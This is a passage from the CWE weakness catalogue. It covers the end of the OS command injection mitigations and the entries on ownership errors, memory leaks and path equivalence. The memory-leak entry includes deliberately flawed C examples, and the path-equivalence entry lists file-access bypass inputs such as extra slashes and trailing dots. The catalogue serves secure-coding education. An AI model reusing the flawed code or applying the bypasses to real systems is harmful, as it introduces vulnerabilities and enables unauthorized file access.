The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Strategy: Identify and Reduce Attack Surface

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [R.78.8] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing OS command strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategies: Compilation or Build Hardening; Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Phase: Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create a whitelist of allowable commands, then prevent use of any command that does not appear in the whitelist. Technologies such as AppArmor are available to do this.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.78.9]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class77Improper Neutralization of Special Elements used in a Command ('Command Injection')
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory634Weaknesses that Affect System Processes
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory714OWASP Top Ten 2007 Category A3 - Malicious File Execution
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory727OWASP Top Ten 2004 Category A6 - Injection Flaws
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory741CERT C Secure Coding Section 07 - Characters and Strings (STR)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory744CERT C Secure Coding Section 10 - Environment (ENV)
Weaknesses Addressed by the CERT C Secure Coding Standard734
ChildOfCategoryCategory7512009 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfCategoryCategory8012010 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory810OWASP Top Ten 2010 Category A1 - Injection
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory845CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory8642011 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
ChildOfCategoryCategory875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory878CERT C++ Secure Coding Section 10 - Environment (ENV)
Weaknesses Addressed by the CERT C++ Secure Coding Standard868
ChildOfCategoryCategory929OWASP Top Ten 2013 Category A1 - Injection
Weaknesses in OWASP Top Ten (2013) (primary)928
ChildOfCategoryCategory990SFP Secondary Cluster: Tainted Input to Command
Software Fault Pattern (SFP) Clusters (primary)888
CanAlsoBeWeakness BaseWeakness Base88Argument Injection or Modification
Research Concepts1000
MemberOfViewView630Weaknesses Examined by SAMATE
Weaknesses Examined by SAMATE (primary)630
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness BaseWeakness Base184Incomplete Blacklist
Research Concepts1000
+ Research Gaps

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.

+ Affected Resources
  • System Process
+ Functional Areas
  • Program invocation
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEROS Command Injection
OWASP Top Ten 2007A3CWE More SpecificMalicious File Execution
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
CERT C Secure CodingENV03-CSanitize the environment when invoking external programs
CERT C Secure CodingENV04-CDo not call system() if you do not need a command processor
CERT C Secure CodingSTR02-CSanitize data passed to complex subsystems
WASC31OS Commanding
CERT Java Secure CodingIDS07-JDo not pass untrusted, unsanitized data to the Runtime.exec() method
CERT C++ Secure CodingSTR02-CPPSanitize data passed to complex subsystems
CERT C++ Secure CodingENV03-CPPSanitize the environment when invoking external programs
CERT C++ Secure CodingENV04-CPPDo not call system() if you do not need a command processor
Software Fault PatternsSFP24Tainted input to command
+ White Box Definitions

A weakness where the code path has:

1. start statement that accepts input

2. end statement that executes an operating system command where

a. the input is used as a part of the operating system command and

b. the operating system command is undesirable

Where "undesirable" is defined through the following scenarios:

1. not validated

2. incorrectly validated

+ References
[R.78.1] G. Hoglund and G. McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. 2004-02.
[R.78.2] Pascal Meunier. "Meta-Character Vulnerabilities". 2008-02-20. <http://www.cs.purdue.edu/homes/cs390s/slides/week09.pdf>.
[R.78.3] Robert Auger. "OS Commanding". 2009-06. <http://projects.webappsec.org/OS-Commanding>.
[R.78.4] Lincoln Stein and John Stewart. "The World Wide Web Security FAQ". chapter: "CGI Scripts". 2002-02-04. <http://www.w3.org/Security/Faq/wwwsf4.html>.
[R.78.5] Jordan Dimov, Cigital. "Security Issues in Perl Scripts". <http://www.cgisecurity.com/lib/sips.html>.
[R.78.6] [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 10: Command Injection." Page 171. McGraw-Hill. 2010.
[R.78.7] Frank Kim. "Top 25 Series - Rank 9 - OS Command Injection". SANS Software Security Institute. 2010-02-24. <http://blogs.sans.org/appsecstreetfighter/2010/02/24/top-25-series-rank-9-os-command-injection/>.
[R.78.8] [REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[R.78.9] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[R.78.10] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Shell Metacharacters", Page 425.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Sean EidemillerCigitalExternal
added/updated demonstrative examples
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-01KDM AnalyticsExternal
added/updated white box definitions
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Description
2008-11-24CWE Content TeamMITREInternal
updated Observed_Examples, Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Research_Gaps, Terminology_Notes
2009-03-10CWE Content TeamMITREInternal
updated Potential_Mitigations
2009-05-27CWE Content TeamMITREInternal
updated Name, Related_Attack_Patterns
2009-07-17KDM AnalyticsExternal
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITREInternal
updated Description, Name, White_Box_Definitions
2009-10-29CWE Content TeamMITREInternal
updated Observed_Examples, References
2009-12-28CWE Content TeamMITREInternal
updated Detection_Factors
2010-02-16CWE Content TeamMITREInternal
updated Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Demonstrative_Examples, Description
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2011-09-13CWE Content TeamMITREInternal
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Observed_Examples, Potential_Mitigations
2014-02-18CWE Content TeamMITREInternal
updated Applicable_Platforms, Demonstrative_Examples, Terminology_Notes
2014-06-23CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11OS Command Injection
2009-01-12Failure to Sanitize Data into an OS Command (aka 'OS Command Injection')
2009-05-27Failure to Preserve OS Command Structure (aka 'OS Command Injection')
2009-07-27Failure to Preserve OS Command Structure ('OS Command Injection')
2010-06-21Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection')

CWE-282: Improper Ownership Management

Weakness ID: 282
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software assigns the wrong ownership, or does not properly verify the ownership, of an object or resource.
+ Time of Introduction
  • Architecture and Design
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Access Control

Technical Impact: Gain privileges / assume identity

+ Observed Examples
ReferenceDescription
Program runs setuid root but relies on a configuration file owned by a non-root user.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory264Permissions, Privileges, and Access Controls
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class284Improper Access Control
Research Concepts (primary)1000
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory840Business Logic Errors
Development Concepts699
ChildOfCategoryCategory944SFP Secondary Cluster: Access Management
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness BaseWeakness Base283Unverified Ownership
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base708Incorrect Ownership Assignment
Development Concepts (primary)699
Research Concepts (primary)1000
+ Affected Resources
  • File/Directory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEROwnership errors
+ Maintenance Notes

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Maintenance_Notes, Relationships, Taxonomy_Mappings
2009-12-28CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-06-21CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Ownership Issues

CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak')

Weakness ID: 401
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.

Extended Description

This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions.

+ Alternate Terms
Memory Leak
+ Terminology Notes

"memory leak" has sometimes been used to describe other kinds of issues, e.g. for information leaks in which the contents of memory are inadvertently leaked (CVE-2003-0400 is one such example of this terminology conflict).

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

C

C++

+ Modes of Introduction

Memory leaks have two common and sometimes overlapping causes:

  • Error conditions and other exceptional circumstances

  • Confusion over which part of the program is responsible for freeing the memory

+ Common Consequences
ScopeEffect
Availability

Technical Impact: DoS: crash / exit / restart; DoS: instability; DoS: resource consumption (CPU); DoS: resource consumption (memory)

Most memory leaks result in general software reliability problems, but if an attacker can intentionally trigger a memory leak, the attacker might be able to launch a denial of service attack (by crashing or hanging the program) or take advantage of other unexpected program behavior resulting from a low memory condition.

+ Likelihood of Exploit

Medium

+ Demonstrative Examples

Example 1

The following C function leaks a block of allocated memory if the call to read() does not return the expected number of bytes:

(Bad Code)
Example Language:
char* getBlock(int fd) {
char* buf = (char*) malloc(BLOCK_SIZE);
if (!buf) {
return NULL;
}
if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {

return NULL;
}
return buf;
}

Example 2

Here the problem is that every time a connection is made, more memory is allocated. So if one just opened up more and more connections, eventually the machine would run out of memory.

(Bad Code)
Example Language:
bar connection(){
foo = malloc(1024);
return foo;
}
endConnection(bar foo) {

free(foo);
}
int main() {

while(1) //thread 1
//On a connection
foo=connection(); //thread 2
//When the connection ends
endConnection(foo)
}
+ Observed Examples
ReferenceDescription
Memory leak because function does not free() an element of a data structure.
Memory leak when counter variable is not decremented.
chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets.
Kernel uses wrong function to release a data structure, preventing data from being properly tracked by other code.
Memory leak via unknown manipulations as part of protocol test suite.
Memory leak via a series of the same command.
+ Potential Mitigations

Phase: Implementation

Strategy: Libraries or Frameworks

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.

For example, glibc in Linux provides protection against free of invalid pointers.

When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [R.401.2].

To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phases: Architecture and Design; Build and Compilation

The Boehm-Demers-Weiser Garbage Collector or valgrind can be used to detect leaks in code.

This is not a complete solution as it is not 100% effective.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class398Indicator of Poor Code Quality
Seven Pernicious Kingdoms (primary)700
ChildOfCategoryCategory399Resource Management Errors
Development Concepts (primary)699
ChildOfCategoryCategory633Weaknesses that Affect Memory
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory730OWASP Top Ten 2004 Category A9 - Denial of Service
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfWeakness BaseWeakness Base772Missing Release of Resource after Effective Lifetime
Research Concepts (primary)1000
ChildOfCategoryCategory861CERT Java Secure Coding Section 49 - Miscellaneous (MSC)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory982SFP Secondary Cluster: Failure to Release Resource
Software Fault Pattern (SFP) Clusters (primary)888
MemberOfViewView630Weaknesses Examined by SAMATE
Weaknesses Examined by SAMATE (primary)630
CanFollowWeakness ClassWeakness Class390Detection of Error Condition Without Action
Research Concepts1000
+ Relationship Notes

This is often a resultant weakness due to improper handling of malformed data or early termination of sessions.

+ Affected Resources
  • Memory
+ Functional Areas
  • Memory management
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMemory leak
7 Pernicious KingdomsMemory Leak
CLASPFailure to deallocate data
OWASP Top Ten 2004A9CWE More SpecificDenial of Service
CERT Java Secure CodingMSC04-JDo not leak memory
Software Fault PatternsSFP14Failure to release resource
+ White Box Definitions

A weakness where the code path has:

1. start statement that allocates dynamically allocated memory resource

2. end statement that loses identity of the dynamically allocated memory resource creating situation where dynamically allocated memory resource is never relinquished

Where "loses" is defined through the following scenarios:

1. identity of the dynamic allocated memory resource never obtained

2. the statement assigns another value to the data element that stored the identity of the dynamically allocated memory resource and there are no aliases of that data element

3. identity of the dynamic allocated memory resource obtained but never passed on to function for memory resource release

4. the data element that stored the identity of the dynamically allocated resource has reached the end of its scope at the statement and there are no aliases of that data element

+ References
[R.401.1] J. Whittaker and H. Thompson. "How to Break Software Security". Addison Wesley. 2003.
[R.401.2] [REF-36] iOS Developer Library. "Transitioning to ARC Release Notes". 2013-08-08. <https://developer.apple.com/library/ios/releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-01KDM AnalyticsExternal
added/updated white box definitions
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, References, Relationship_Notes, Taxonomy_Mappings, Terminology_Notes
2008-10-14CWE Content TeamMITREInternal
updated Description
2009-03-10CWE Content TeamMITREInternal
updated Other_Notes
2009-05-27CWE Content TeamMITREInternal
updated Name
2009-07-17KDM AnalyticsExternal
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITREInternal
updated White_Box_Definitions
2009-10-29CWE Content TeamMITREInternal
updated Modes_of_Introduction, Other_Notes
2010-02-16CWE Content TeamMITREInternal
updated Relationships
2010-06-21CWE Content TeamMITREInternal
updated Other_Notes, Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Demonstrative_Examples, Name
2011-03-29CWE Content TeamMITREInternal
updated Alternate_Terms
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-02-21CWE Content TeamMITREInternal
updated Observed_Examples
2014-02-18CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Memory Leak
2009-05-27Failure to Release Memory Before Removing Last Reference (aka 'Memory Leak')
2010-12-13Failure to Release Memory Before Removing Last Reference ('Memory Leak')

CWE-41: Improper Resolution of Path Equivalence

Weakness ID: 41
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The system or application is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.

Extended Description

Path equivalence is usually employed in order to circumvent access controls expressed using an incomplete set of file name or file path representations. This is different from path traversal, wherein the manipulations are performed to generate a name for a different object.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Confidentiality
Integrity
Access Control

Technical Impact: Read files or directories; Modify files or directories; Bypass protection mechanism

An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.

+ Detection Methods

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Focused Manual Spotcheck - Focused manual analysis of source

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Observed Examples
ReferenceDescription
Source code disclosure using trailing dot
Source code disclosure using trailing dot
Source code disclosure using trailing dot or trailing encoding space "%20"
Source code disclosure using trailing dot
Bypass directory access restrictions using trailing dot in URL
Bypass directory access restrictions using trailing dot in URL
Bypass check for ".lnk" extension using ".lnk."
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Multi-Factor Vulnerability (MVF). directory traversal and other issues in FTP server using Web encodings such as "%20"; certain manipulations have unusual side effects.
Trailing space ("+" in query string) leads to source code disclosure.
Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal.
"+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file.
Overlaps infoleak
Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL.
Bypass Basic Authentication for files using trailing "/"
Read sensitive files with trailing "/"
Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.
Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request.
Source code disclosure
Read files with full pathname using multiple internal slash.
Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename.
Server allows remote attackers to read arbitrary files via leading slash (//) characters in a URL request.
Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL.
Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters.
Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as http://www.example.com///file/.
Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to admin/user.pl preceded by // (double leading slash).
Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and ".." sequences.
Access directory using multiple leading slash.
Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.
Archive extracts to arbitrary files using multiple leading slash in filenames in the archive.
Directory listings in web server using multiple trailing slash
ASP.NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash), aka "Path Validation Vulnerability."
Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL.
Server allows remote attackers to read password-protected files via a /./ in the HTTP request.
Input Validation error
Possibly (could be a cleansing error)
"/./////etc" cleansed to ".///etc" then "/etc"
Server allows remote attackers to view password protected files via /./ in the URL.
List directories using desired path and "*"
List files in web server using "*.ext"
Proxy allows remote attackers to bypass blacklist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a /./, or (4) URL-encoded characters.
application check access for restricted URL before canonicalization
CGI source disclosure using "dirname/../cgi-bin"
Multiple web servers allow restriction bypass using 8.3 names instead of long names
Source code disclosure using 8.3 file name.
Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy: Input Validation

